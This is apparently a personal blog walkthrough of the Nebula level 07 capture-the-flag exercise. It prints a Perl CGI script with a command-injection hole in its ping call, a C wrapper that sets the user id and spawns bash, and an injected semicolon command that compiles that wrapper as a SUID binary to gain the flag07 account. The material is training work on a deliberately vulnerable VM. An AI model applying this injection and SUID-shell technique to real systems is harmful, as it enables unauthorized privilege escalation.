Exploit Exercises - Nebula 07

This next challenge is a little bit more tricky than some of the previous ones. There’s a lot more code involved, but it’s not too bad.

In the flag07 home directory, you’ll find the configuration for a simple http server, thttpd.conf. Inside, you’ll find that it’s running an HTTP server on port 7007 as the flag07 user. This is where the perl script that is provided comes in.

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
 $host = $_[0];

 print("<html><head><title>Ping results</title></head><body><pre>");

 @output = `ping -c 3 $host 2>&1`;
 foreach $line (@output) { print "$line"; } 

 print("</pre></body></html>");  }  # check if Host set. if not, display normal page, etc  

 ping(param("Host"));

You can now browse to this script by going to http://10.1.1.16:7007/index.cgi (assuming your Nebula VM is running on 10.1.1.16). Unfortunately, since no parameters are being passed, it presents us with the usage of ping.

Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface]
            [-M pmtudisc-hint] [-m mark] [-S sndbuf]
            [-T tstamp-options] [-Q tos] [hop1 ...] destination

The perl script takes a parameter named “Host”, and pipes it into the ping command. Because of how poorly the perl script was written, we can inject more commands in there. To make it easy, I made a quick HTML document to assist, so I didn’t have to do the encoding of spaces and symbols.

<html> <body>
  <form action="http://10.1.1.6:7007/index.cgi" method="get">
   <input name="Host" id="Host" type="text" />
   <input type="submit" />
  </form>
 </body>
</html>

Now I can open that html file in my browser of choice, and when I submit, it’ll automatically do all the encoding for me, so I can just worry about the injection.

In addition to the html page, I also modified my level03.c from a prior post, to make it more generic. I saved this file as /tmp/bash_id.c:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char *argv[]){
    if (argc != 2)
        printf("usage: %s <user id>\n", argv[0]);
    else {
        int i = atoi(argv[1]);
        setresuid(i, i, i);
        setresgid(i, i, i);
        system( "/bin/bash" );
    }
    return 0;
}

This modified source file now takes a parameter of the user id you want to impersonate. I want to impersonate the flag07 user, so I checked out the /etc/passwd file.

level07@nebula:/tmp$ cat /etc/passwd | grep flag07
flag07:x:992:992::/home/flag07:/bin/sh

Now I know that flag07 is also user 992.

I opened the html file that I made, and in the textbox typed:

;gcc -o level07 /tmp/bash_id.c;chmod +s,a+wrx level07

When I clicked the submit button, it sent the final command of:

ping -c 3 ;gcc -o level07 /tmp/bash_id.c;chmod +s,a+wrx level07 2>&1

It makes the ping program have incorrect usage, thus ending quickly. It then compiles my newly written bash_id.c script, and places the executable in the /home/flag07 folder, and marks it executable and SUID. From here, it was just as simple as executing that program with the 992 parameter, and running “getflag”.

level07@nebula:/home/flag07$ ./level07 992
flag07@nebula:/home/flag07$ getflag
You have successfully executed getflag on a target account
comments powered by Disqus